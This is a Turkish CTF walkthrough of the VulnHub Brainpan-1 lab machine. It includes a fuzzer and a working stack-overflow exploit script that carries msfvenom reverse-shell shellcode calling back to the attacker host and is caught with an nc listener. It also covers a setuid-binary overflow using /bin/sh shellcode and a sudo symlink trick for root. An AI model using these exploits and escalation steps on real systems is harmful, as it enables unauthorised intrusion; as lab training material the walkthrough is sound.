VulnHub – Brain-1 CTF Çözümü

Merhaba

VulHub’da yayınlanan CTF serilerinden birisi olan Brain-1’in çözümlerinin anlatıldığı yazıya hoş geldiniz. İlgili CTF imajını https://www.vulnhub.com/entry/brainpan-1,51/ adresinden indirebilirsiniz. Size tavsiyem yazının kalan kısımlarını okumadan önce imajı indirip kendi bilgilerinizi sınamanızdır. İlerleyen günlerde Brain-2 ve Brain-3 bölümlerini ele alacağız.

Her şeyin başı Nmap

Kali ve Brain sanal sunucularını aynı NAT networküne aldıktan sonra her zaman gib gibi -sn parametresi ile live host’ları tespit ediyoruz.

root@kali:~# nmap -sn 10.0.0.1/24|grep 'report'|awk {'print $5'}
10.0.0.1
10.0.0.2
10.0.0.140
10.0.0.254
10.0.0.138

Görüldüğü üzer 10.0.0.140 hedef makinamız olan Brain’in ip adresidir. 10.0.0.138 ile Kali 2.0’ımıza ait. Hızlıca top 1000 port’u taradığımızda aşağıdak sonuç çıkmakta.

root@kali:~# nmap -sS 10.0.0.140 --top-port 1000

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-08-17 11:32 EEST
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.50% done
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.00% done; ETC: 11:34 (0:01:39 remaining)
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 100.00% done; ETC: 11:32 (0:00:00 remaining)
Nmap scan report for 10.0.0.140
Host is up (0.00018s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt
MAC Address: 00:0C:29:27:7C:82 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.01 seconds

Simple Fuzzing

9999 portuna netcat ile bağlanıldığında aşağıdaki gibi bir çıktı karşımıza gelmekte.

root@kali:~# nc 10.0.0.140 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> hi
                          ACCESS DENIED

Girdi olarak hi kelimesini yolladığımda ise ACCESS DENIED kelimesinin geri dönüş yaptığını görmekteyiz. Bu andan itibaren ilk akla gelen fikir, basit bir Buffer Overflow zafiyetinin olabileceğidir. Bunu anlamak adına aşağıdaki gibi basit bir fuzzer yazarak çalıştırabiliriz.

import socket

crash = False
c = 1
while crash == False:
	try:
		client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		client_socket.connect(('10.0.0.140', 9999))
		c += 1
    	except Exception as e:
		print "Total attempt = {0}".format(c)
		print str(e)
		exit(0)
	data = client_socket.recv(1024)
    	client_socket.send("A"*c)
	data = client_socket.recv(1024)
	if "DENIED" in data:
		print "Number of input lenght = {0}".format(c)
	client_socket.close()

Fuzzing işlemi tamamlandığında aşağıdaki gibi bir çıktı bizi karşılamakta.

root@kali:~/Desktop# python brain.py 
Number of input lenght = 2
Number of input lenght = 3
...
...
Number of input lenght = 518
Number of input lenght = 519
Total attempt = 520
[Errno 111] Connection refused

Gördüğünüz üzere 519 adet karakter gönderdikten sonra bir şeyler ters gitmekte ve servis crash olmakta. Bir süre bekledikten sonra servis tekrardan çalışacak şekilde bir cron job tanımladığını söyleyebiliriz.

Hedef’te buffer overflow zafiyetinin varlığı, offset değerinin hesaplanması vb gibi aşamalar kolay kısım ama hedef programa ve işletim sistemine özel RET adresini, JMP instructer’larının adresini bilebilmemiz çok zor. Bu nedenle başka bir bilgiye daha ihtiyacımızın olduğu aşikar. Bunun için Nmap çıktısına dönerek 10.000 TCP portuna bakıyoruz.

root@kali:~# curl -v -X GET http://10.0.0.140:10000
* Rebuilt URL to: http://10.0.0.140:10000/
* Hostname was NOT found in DNS cache
*   Trying 10.0.0.140...
* Connected to 10.0.0.140 (10.0.0.140) port 10000 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.38.0
> Host: 10.0.0.140:10000
> Accept: */*
> 
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/2.7.3
< Date: Mon, 17 Aug 2015 09:11:18 GMT
< Content-type: text/html
< Content-Length: 215
< Last-Modified: Mon, 04 Mar 2013 17:35:55 GMT
<

10.000 portunda Python SimpleHTTPServer’ın çalıştığını görebiliriz. Burada yapacağınız ufak bir dirbuster hareketi ile doğrudan /bin/ dini altında ki http://10.0.0.140:10000/bin/brainpan.exe dosyasının varlığını bulabilirsiniz.

Harika, şimdi her şey tamam oldu. Bu .exe dosyasını analiz edeceğiz. Hedef sistemde ASLR, DEP vb gibi koruma mekanizmalarının devre dışı olduğunu düşünerek .exe içerisinden doğrudan işe yarar bir adres bulmayı umuyoruz.

Reverse 101

İndirdiğimiz EXE’yi Windows makinada açtıktan sonra Ollydbg yada Immunity Debugger araçları ile analiz etmeye başlıyoruz. Önce işin kolay kısmı, “Offset değeri tam olarak kaç ?” sorusuna cevap vermek üzere metasploit pattern_create’i kullanıyoruz.

➜  metasploit-framework git:(master) ✗ ./tools/pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Bu çıktıyı basit bir netcat komutu ile hedef yönlendirdikten sonra offset değerini hesaplamak adına pattern_create komutunu kullanabiliriz. Debugger’dan aldığımız bilgiye göre EIP 35724134 değerindeydi.

➜  metasploit-framework git:(master) ✗ ./tools/pattern_create.rb 1000 | nc 10.0.0.128 9999

➜  metasploit-framework git:(master) ✗ ./tools/pattern_offset.rb 35724134
[*] Exact match at offset 524

Şimdi sıra ikinci suale geldi, “Acaba binary içerisinde JMP ESP komutu var mı ?” eğer doğrudan binary içerisinde bunu görebilirsek bizim için harika ve son derece basit bir exploitation olacak. Bu soruya cevap vermek için tek bir komut yeterli.

root@kali:~# objdump Downloads/brainpan.exe -d|grep -i jmp|grep esp
311712f3:	ff e4                	jmp    *%esp

Harika..! 311712f3 adresini 524 karakter sonra tersten yazarak çok basit bir stack overflow zafiyetini exploit etmiş olacağız.

Shellcode

Shellcode için basit bir reverse_shell oluşturabiliriz. Bunun için msfvenom’u aşağıdaki şekilde kullanabilirsiniz.

root@kali:~/Desktop# msfvenom -p linux/x86/shell_reverse_tcp lhost=10.0.0.138 -b '\x00' -f python

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes

buf =  ""
buf += "\xb8\x05\x12\x6b\x18\xdd\xc2\xd9\x74\x24\xf4\x5d\x2b"
buf += "\xc9\xb1\x12\x83\xc5\x04\x31\x45\x0e\x03\x40\x1c\x89"
buf += "\xed\x7b\xfb\xba\xed\x28\xb8\x17\x98\xcc\xb7\x79\xec"
buf += "\xb6\x0a\xf9\x9e\x6f\x25\xc5\x6d\x0f\x0c\x43\x97\x67"
buf += "\x85\xb3\x67\xfd\xf1\xb1\x67\x10\x5e\x3f\x86\xa2\x38"
buf += "\x6f\x18\x91\x77\x8c\x13\xf4\xb5\x13\x71\x9e\x6a\x3b"
buf += "\x05\x36\x1d\x6c\x8b\xaf\xb3\xfb\xa8\x7d\x1f\x75\xcf"
buf += "\x31\x94\x48\x90"

Böylece doğrudan python kodu olarak shellcode üretmiş oluyoruz. \x00 karakterini blacklist’e alarak herhangi bir NULL BYTE karakter yüzünden shellcode’umuzun çalışmasının durdurulmasına engel oluyoruz.

Exploit ve Ters Bağlantı

Ve son olarak exploit saldırımız ve reverse_shell üzerinden CTF’i tamamlayımışız şu şekilde olacaktır.

import socket

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('10.0.0.140', 9999))

buf  = "\x90"*524
buf += "\xF3\x12\x17\x31"
buf += "\x90"*10
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a"
buf += "\x00\x00\x8a\x68\x02\x00\x00\x15\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73"
buf += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"


client_socket.send(buf)
client_socket.close()

Yukarıda ki exploit 10.0.0.138 ip adresinin 4444 portuna bağlantı açacaktır. Bu bağlantı üzerinden hedef sisteme erişim gerçekleştirmiş olacağız.

root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
10.0.0.140: inverse host lookup failed: Unknown host
connect to [10.0.0.138] from (UNKNOWN) [10.0.0.140] 34636

ls

checksrv.sh
web

python -c 'import pty; pty.spawn("/bin/bash")'
puck@brainpan:/home/puck$

İlgili python komutu ile direk pty interactive shell’e geçiş yapabilirsiniz.

Post Exploitation

Kendi prensiplerim olarak hedef sisteme erişim sağladıktan sonra aşağıda ki adımlara tek tek kontrol ederek daha fazla bilgi elde etmeye çalışırım.

  • Diğer kullanıcıların listesini oluştur
  • Erişim yetkin olan dizinler altında chown’u senin kullanıcına ait olan dosyaları bul
  • bash_history dosyasına göz at

Bu bağlamda yaptığım araştırmalar gösterdi ki hedefte sahipliği bizim user’ımıza ait OLMAYAN aşağıdaki binary dosya bulunmaktaydı.

ls -al /usr/local/sbin
total 8
drwxr-xr-x  2 root root 4096 Mar  4  2013 .
drwxr-xr-x 10 root root 4096 Mar  4  2013 ..

ls -al /usr/local/bin
total 20
drwxr-xr-x  2 root   root   4096 Mar  4  2013 .
drwxr-xr-x 10 root   root   4096 Mar  4  2013 ..
-rwsr-xr-x  1 anansi anansi 8761 Mar  4  2013 validate

Bu executable dosyanın adı validate ve ne iş yaptığına dair hiçbir fikrimiz yok. Fark ettiğimiz tek şey ise ls -al çıktısında bulunan rwsr yetkileri. Bu sticky bit adı verilen özel bir permission bit’idir ve bizim çok işimize yarayacaktır. Çünkü anansi kullanıcısına ait bir binary’de bulacağımız zafiyeti exploit ederek sistemde ki bir başka kullanıcı yetkilerine geçiş yapabiliriz.

Validate dosyası üzerinde basit bir test gerçekleştirdiğimizde aşağıdaki şekilde segmentation fault almaktayız.

validate 1
validating input...passed.

validate 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Segmentation fault

Bu binary dosyayı ister nc ile isterseniz doğrudan web/bin altına kopyalıyarak Kali makinamıza indiriyoruz. Eğer Kali’niz benim gibi x64 bit ise indirdiğiniz binary dosya çalışmayacaktır. Bu problemi çözmek için şu komutları kullanabilirsiniz.

sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386
sudo ./file-name

Reversing Validate

Hedef sunucu üzerinde yaptığımız basit test ile segfault hatası aldığımız için gene basit bir stack based buffer overflow zafiyeti beklemekteyiz. Öncelikle offset’i hesaplayalım. Bu sefer Ollydbg yerine gdb kullanacağız.

root@kali:~/Desktop# gdb -q validate.bin
Reading symbols from validate.bin...done.
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Starting program: /root/Desktop/validate.bin Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Program received signal SIGSEGV, Segmentation fault.
0x39644138 in ?? ()
(gdb) i r
eax            0xffffd1a8	-11864
ecx            0xffffd660	-10656
edx            0xffffd391	-11375
ebx            0x41366441	1094083649
esp            0xffffd220	0xffffd220
ebp            0x64413764	0x64413764
esi            0x0	0
edi            0x0	0
eip            0x39644138	0x39644138
eflags         0x10286	[ PF SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99
(gdb)

Gene pattern_create ile oluşturduğumuz input’u vererek crash aldığımızda EIP’in 0x39644138 değeri aldığı gözlemlenmektedir. Bu değer üzerinden offset’i hesapladığımızda ise 116 çıkmaktadır.

root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 39644138
[*] Exact match at offset 116

Her şey hazır. Şimdi sıra JMP ESP komutunu bulmakta… Şanslıysak

root@kali:~# objdump -D Desktop/validate.bin |grep -i jmp
 8048382:	ff 25 fc 9f 04 08    	jmp    *0x8049ffc
 804838c:	ff 25 00 a0 04 08    	jmp    *0x804a000
 8048397:	e9 e0 ff ff ff       	jmp    804837c <_init+0x30>
 804839c:	ff 25 04 a0 04 08    	jmp    *0x804a004
 80483a7:	e9 d0 ff ff ff       	jmp    804837c <_init+0x30>
 80483ac:	ff 25 08 a0 04 08    	jmp    *0x804a008
 80483b7:	e9 c0 ff ff ff       	jmp    804837c <_init+0x30>
 80483bc:	ff 25 0c a0 04 08    	jmp    *0x804a00c
 80483c7:	e9 b0 ff ff ff       	jmp    804837c <_init+0x30>
 80483cc:	ff 25 10 a0 04 08    	jmp    *0x804a010
 80483d7:	e9 a0 ff ff ff       	jmp    804837c <_init+0x30>
 80483dc:	ff 25 14 a0 04 08    	jmp    *0x804a014
 80483e7:	e9 90 ff ff ff       	jmp    804837c <_init+0x30>
 80483ec:	ff 25 18 a0 04 08    	jmp    *0x804a018
 80483f7:	e9 80 ff ff ff       	jmp    804837c <_init+0x30>
 80484cc:	eb 3a                	jmp    8048508 <validate+0x54>
 8048562:	eb 39                	jmp    804859d <main+0x65>
 8049f42:	ff 6f c4             	ljmp   *-0x3c(%edi)
 8049faa:	ff 6f ec             	ljmp   *-0x14(%edi)
 8049fb2:	ff 6f 01             	ljmp   *0x1(%edi)
 8049fba:	ff 6f d8             	ljmp   *-0x28(%edi)
  14:	eb 00                	jmp    16 <_init-0x8048336>
  48:	eb 00                	jmp    4a <_init-0x8048302>

Görüldüğü üzere JMP ESP komutunun olduğu herhangi bir instruction malesef yok..! Stack üzerine veri yazabiliyoruz, EIP’i kontrol edebiliyoruz ama JMP ESP veya herhangi bir CPU register’ını parametre olarak kullanan JMP komutu yok..!

Stack üzerinde analiz yapmaya devam etmek için gdb aşağıdaki komutlar ile analiz ediyoruz. EIP öncesi 116 karakterimiz A, EIP için B yazdıktan sonra dönüp kalan diğer cpu registerlarını ve stack’in durumunu kontrol edeceğiz.

root@kali:~/Desktop# gdb -q validate.bin
Reading symbols from validate.bin...done.
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Starting program: /root/Desktop/validate.bin AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

(gdb) x/100x $sp-200
0xffffd2d8:	0xf7e136c8	0xf7fd9860	0x08048204	0x00000078
0xffffd2e8:	0x00000000	0x00000000	0xffffd398	0xf7ff1020
0xffffd2f8:	0x0000000b	0xf7e97c60	0xffffd328	0x00000078
0xffffd308:	0x00000000	0x0804852c	0xffffd328	0xffffd5f3
0xffffd318:	0xf7ffd930	0x00000001	0xffffd380	0xf7feac9f
0xffffd328:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd338:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd348:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd358:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd368:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd378:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd388:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd398:	0x41414141	0x42424242	0xffffd500	0x08048400
0xffffd3a8:	0x00000000	0xf7e3e39d	0xf7fb33c4	0xf7ffd000
0xffffd3b8:	0x080485bb	0xf7fb3000	0x080485b0	0x00000000
0xffffd3c8:	0x00000000	0xf7e26a63	0x00000002	0xffffd464
0xffffd3d8:	0xffffd470	0xf7feb7da	0x00000002	0xffffd464
0xffffd3e8:	0xffffd404	0x0804a004	0x08048274	0xf7fb3000
0xffffd3f8:	0x00000000	0x00000000	0x00000000	0xa5bae334
0xffffd408:	0x9ec90724	0x00000000	0x00000000	0x00000000
0xffffd418:	0x00000002	0x08048400	0x00000000	0xf7ff1020
0xffffd428:	0xf7e26979	0xf7ffd000	0x00000002	0x08048400
0xffffd438:	0x00000000	0x08048421	0x08048538	0x00000002
0xffffd448:	0xffffd464	0x080485b0	0x080485a0	0xf7febc90
0xffffd458:	0xffffd45c	0x0000001c	0x00000002	0xffffd5d8

0x41414141 değerlerimiz tam olarak 0xffffd328 adresinden başlıyor…Register’ların durumuna baktığımızda ise karşımıza çok ilginç bir şey çıkacak.

(gdb) i r
eax            0xffffd328	-11480
ecx            0xffffd660	-10656
edx            0xffffd395	-11371
ebx            0x41414141	1094795585
esp            0xffffd3a0	0xffffd3a0
ebp            0x41414141	0x41414141
esi            0x0	0
edi            0x0	0
eip            0x42424242	0x42424242
eflags         0x10282	[ SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

EAX registerı’nın deperi 0x414141’lerimizin başladığı adresin ta kendisini göstermekte. JMP ESP olarak bulamadığımız komut yerine CALL EAX bulabilirsek bu durumda EIP’i kontrol ettiğimiz BBBB yerine CALL EAX’ın adresini yazarız. Oda doğrudan shellcode’umuzun başlayacağı adrese zıplamış olur.

root@kali:~# objdump -D Desktop/validate.bin |grep -i call|grep eax
 8048468:	ff 14 85 14 9f 04 08 	call   *0x8049f14(,%eax,4)
 80484af:	ff d0                	call   *%eax
 804862b:	ff d0                	call   *%eax

Harika..! Her şey hazır. Şimdi sıra 116 karakterden kısa /bin/sh çalıştıran bir shellcode yaratmakta..!

Shellcode -> Exploit -> Anansi User

Bir kez daha msfvenom kullanıyoruz ve shellcode’umuzu hazırlayabiliriz. 116 byte her ne kadar yetip artacak olsada ben genede minimal bir shellcode seçmeyi uygun görüyorum ve 28 byte uzunluğunda ki http://shell-storm.org/shellcode/files/shellcode-811.php shellcode örneğini kullanıyorum.

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

Fark ettiğiniz üzere shellcode’umuz 28 byte uzunluğunda. 116 – 28 = 88 byte doldurmamız gereken alan sonra EIP’e gelmiş olacağız. EIP adresini de call eax’lardan bir tanesi ile ( ben 80484af kullanacağım ) ezeceğiz ve shellcode’umuza erişmiş olacağız.

puck@brainpan:/home/puck$ id
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
puck@brainpan:/home/puck$ 

puck@brainpan:/home/puck$ validate `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + ("\x41" * 88) + "\xaf\x84\x04\x08"'`
<xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + ("\x41" * 88) + "\xaf\x84\x04\x08"'` 
$   

$ id
id
uid=1002(puck) gid=1002(puck) euid=1001(anansi) groups=1001(anansi),1002(puck)
$

Gördüğünüz üzere puck user’ından anansi user’ına geçişi tamamlamış olduk. Şimdi sıra geldi son aşamaya.

Anansi_utils

sudo -l komutu ile NOPASSWD ile erişilebilir linux komutlarını görüyoruz.

$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

Bu bizim için son derece kolay bir exploitation yöntemi olacak. Çünkü görünen o ki /home/anansi/bin/anansi_util ‘yi herkes root hakları ile çalıştırabilmekte. Ufak bir symlink ile doğrudan root haklarına kalıcı olarka geçiş yapabiliriz.

$ mv anansi_util anansi_util.yedek
mv anansi_util anansi_util.yedek
$ ln -s /bin/bash anansi_util
ln -s /bin/bash anansi_util
$ sudo /home/anansi/bin/anansi_util
$
$ id
uid=0(root) gid=0(root) groups=0(root)
$ ls /root
b.txt
$ cat /root/b.txt
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com